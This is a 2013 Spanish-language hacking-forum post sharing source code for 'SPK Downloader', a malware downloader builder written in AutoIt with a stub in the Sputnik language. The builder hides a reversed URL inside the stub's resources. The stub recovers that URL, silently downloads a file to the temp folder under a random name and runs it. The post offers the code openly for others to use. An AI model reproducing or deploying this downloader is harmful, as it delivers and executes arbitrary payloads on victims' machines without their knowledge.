SPK Downloader M3 SRC
Publicado: 21 Ago 2013, 14:53
por M3
Buenas , los dejo el code de este Downloader Codeado en AutoIt i Sputnik
Espero les sirva de algo
Saludos
Builder AutoIt
Stub Sputnik
Espero les sirva de algo
Saludos
Builder AutoIt
Código: Seleccionar todo
#include <ButtonConstants.au3>
#include <EditConstants.au3>
#include <GUIConstantsEx.au3>
#include <WindowsConstants.au3>
# ===========================================================
# SPK Downloader
# Author M3
# Builder Coded In AutoIt
# Stub Coded in Sputnik Language
# http://uberfox.no-ip.org/Sputnik/wiki/index.php/Main_Page
# Release on 21|08|2013
# ===========================================================
#Region ### START Koda GUI section ### Form=C:\Users\M3\Desktop\Sputinik Downloader\Form1.kxf
$Form1 = GUICreate('SPK Downloader [ M3 ]', 434, 47, -1 , -1 , -1 )
$sText1 = GUICtrlCreateInput('URL From File', 8, 8, 329, 20, BitOR($GUI_SS_DEFAULT_INPUT,$ES_CENTER))
GUICtrlSetFont(-1, 8, 800, 0, 'Cambria')
$Button1 = GUICtrlCreateButton('Create File', 344, 8, 81, 25)
GUICtrlSetFont(-1, 8, 400, 0, 'Cambria')
GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###
While 1
$nMsg = GUIGetMsg()
Switch $nMsg
Case $GUI_EVENT_CLOSE
Exit
Case $Button1
$sUrl = GUICtrlRead($sText1)
If $sUrl > '' Then
$sStub = @ScriptDir & '\Stub.exe'
$sFile = @ScriptDir & '\M3.exe'
$sDelimiter = 'SPKDOWNLOADER_M3'
If FileExists($sFile) Then FileDelete($sFile)
FileWrite($sFile, $sDelimiter & sReverse($sUrl) & $sDelimiter)
sPutUrlOnResource($sStub , $sFile , $sFile ,'M3' , '1', '1')
MsgBox('','SPK Downloader [ M3 ]' , 'File Created on ' & @CRLF & @ScriptDir & '\M3.exe' & @CRLF & 'Enjoy ....' , 2)
Else
MsgBox('','SPK Downloader [ M3 ]' , 'Put URL From File First !!!' , 2)
EndIf
EndSwitch
WEnd
Func sPutUrlOnResource($sFile , $sFileFinal , $sData , $sResPath , $sResValue , $sResRead)
Local $ResourceData , $sChangeValue , $OverWrite
$sResource = @TempDir & '\ResHack.exe'
$OverWrite = '-addoverwrite '
FileWrite($sResource , BinaryToString( sData()))
ShellExecuteWait( $sResource, $OverWrite & $sFile & ',' & _
' ' & $sFileFinal & ',' & ' ' & $sData & ',' & $sResPath & ',' & $sResValue & ',' & $sResRead )
Sleep(100)
FileDelete($sResource)
EndFunc
Func sReverse($sText)
Local $Result , $i , $sParams
$sParams = StringLen($sText)
For $i = 0 To $sParams
$Result = $Result & StringMid($sText, $sParams - $i, 1)
Next
Return $Result
EndFunc
Func sData ()
; Proyecto completo descargar desde al archivo adjunto
EndFunc
Stub Sputnik
Código: Seleccionar todo
# ===========================================================
# SPK Downloader
# Author M3
# Stub Coded in Sputnik Language
# http://uberfox.no-ip.org/Sputnik/wiki/index.php/Main_Page
# Release on 21|08|2013
# ===========================================================
# Start Code
ProcessSetPriority(@Exename,0);
$Path = sMyPathEx();
$sFileOpen = FileOpen($Path , "r");
$sFileRead = Fileread($sFileOpen);
$sDelimiter = "SPKDOWNLOADER_M3";
$sArray = Split($sFileRead, $sDelimiter,1);
$sFile = RandStr(6);
$sUrl = Reverse($sArray[1]);
$sFileFinal = @TempDir.$sFile.'.exe';
if( FileExists($sFileFinal))
{
Filedelete($sFileFinal);
}
DownloadFile($sURL , $sFileFinal);
while(!$Complete)
{
sleep(1);
doEvents();
}
Function sMypathEx()
{
my $Struct = DLLStructCreate("char AppPath[4096];");
DLLCall("kernel32.dll", "GetModuleFileName", "Int32", "tti", 'Ansi', NULL, DLLStructGetPtr($Struct), 4096);
my $Path = DLLStructGetData($Struct, "AppPath");
}
Function DownloadFile($URL, $Location)
{
HTTPDownload($URL, $Location, "Progress();", "Completed();");
}
Function Completed()
{
$Complete = true;
Run($sFileFinal);
ProcessSetPriority($sFileFinal,0);
}
Function Progress()
{
List ($URL, $LOC, $ProgressPercent, $BytesTotal, $BytesDone) = $arg;
}
#END CODE